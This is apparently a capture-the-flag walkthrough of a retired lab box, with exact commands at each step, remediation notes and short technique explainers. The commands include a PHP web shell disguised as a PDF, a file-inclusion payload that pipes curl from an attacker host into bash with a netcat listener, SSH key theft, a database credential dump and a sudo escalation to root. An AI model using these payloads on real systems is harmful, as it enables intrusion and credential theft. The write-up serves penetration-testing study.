Moderators
Summary
I found a public blog whose report log-upload page accepted a PHP web shell disguised as a PDF, which gave command execution as the web user. From there an internal-only WordPress site with a file-inclusion flaw in a plugin was reached, giving a shell as the user 'lexi'.
Lexi's unencrypted SSH key and the WordPress database credentials exposed an encrypted copy of user 'john' SSH private key, and the plugin's own source and database key allowed it to be decrypted. John's home directory held a chat export containing his sudo password in encoded form, and because john had unrestricted sudo, my became root and took full control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered, for wordpressuser>"Some commands also carry a value in angle brackets — <sudo_pw> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 4
Find open ports (expect only 22 and 80).
$ nmap -p- --min-rate=1000 -T4 $TARGETFingerprint the two services.
$ nmap -sCV -p22,80 $TARGETWalk the blog and confirm the PHP application.
$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/contact.phpDiscover the /logs/uploads/ directory and report_log_upload.php.
$ ffuf -u "http://$TARGET/logs/FUZZ" -w /usr/share/wordlists/dirb/common.txtExact commands 3
Create a PDF-looking PHP shell using popen because system() is disabled.
$ printf '%%PDF-<?php echo fread(popen($_GET["cmd"],"r"),4096); ?>' > rp.pdf.phpUpload it; the response does not reveal the stored path.
$ curl -sS -F 'file=@rp.pdf.php;type=application/pdf' http://$TARGET/logs/report_log_upload.phpConfirm code execution as www-data.
$ curl -sS "http://$TARGET/logs/uploads/rp.pdf.php?cmd=id%3Bhostname%3Bpwd"FixHarden the report log-upload endpointCritical
Exact commands 4
From the www-data shell: find the internal-only WordPress on 127.0.0.1:8080.
$ ss -tlpnPlace the payload file that the plugin will include.
$ echo '<?php echo fread(popen("curl '"$ATTACKER_IP"':8000/shell.sh|bash","r"),4096); ?>' > /dev/shm/wp-load.phpMy listener for the callback.
$ nc -lvnp 4444Trigger the inclusion; the lexi-owned server runs the payload.
$ curl -s 'http://127.0.0.1:8080/wp-content/plugins/brandfolder/callback.php?wp_abspath=/dev/shm/'FixPatch or remove the vulnerable WordPress Brandfolder pluginHigh
Exact commands 3
Read lexi's unencrypted key from the lexi shell and copy it to my machine as lexi.key.
$ cat /home/lexi/.ssh/id_rsaConfirm the key is valid.
$ chmod 600 lexi.key && ssh-keygen -y -f lexi.key >/dev/null && echo KEY_VALIDLog in as lexi.
$ ssh -i lexi.key lexi@$TARGET 'id; hostname; pwd'
uid=1001(lexi)FixProtect SSH private keys with passphrases and restrict home directory accessHigh
Exact commands 5
Read the database credentials.
$ ssh -i lexi.key lexi@$TARGET grep -E "DB_(NAME|USER|PASSWORD|HOST)" /opt/site.new/wp-config.phpDump the encrypted SSH key entry and the encryption key.
$ mysql -N -u wordpressuser -p"$PASSWORD3" wordpress -e "SELECT user_name,user_email,user_password FROM wp_pms_passwords; SELECT option_value FROM wp_options WHERE option_name='pms_encrypt_key';"Review the AES-256-CBC / PBKDF2 scheme; copy decrypt() into a standalone decrypt.php with the ciphertext and key inlined.
$ sed -n '1,220p' /opt/site.new/wp-content/plugins/passwords-manager/inc/encryption.phpRun the decryption and reflow the key, whose newlines were stored as spaces.
$ (echo '-----BEGIN OPENSSH PRIVATE KEY-----'; php decrypt.php | sed 's/ /\n/g' | grep -v OPEN | tail -n+4 | head -n-3; echo '-----END OPENSSH PRIVATE KEY-----') > john.key && chmod 600 john.keyLog in as john; user.txt = <user.txt>.
$ ssh -i john.key john@$TARGET 'id; hostname; pwd; cat /home/john/user.txt'
uid=1000(john)FixDo not store SSH keys in a web password manager alongside their decryption keyHigh
Exact commands 2
Read the chat export and locate the base64 string.
$ cat /home/john/stuff/exp/*.expDecode the string to get john's cleartext sudo password (used below as <sudo_pw>).
$ echo $PASSWORD | base64 -dFixRemove passwords from files and chat exportsHigh
Exact commands 2
Confirm john may run all commands as root.
$ echo '<sudo_pw>' | sudo -S -lRun as root; root.txt = <root.txt>.
$ echo '<sudo_pw>' | sudo -S /bin/bash -c 'id; hostname; pwd; cat /root/root.txt'FixLimit sudo rights to the minimum required commandsHigh
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.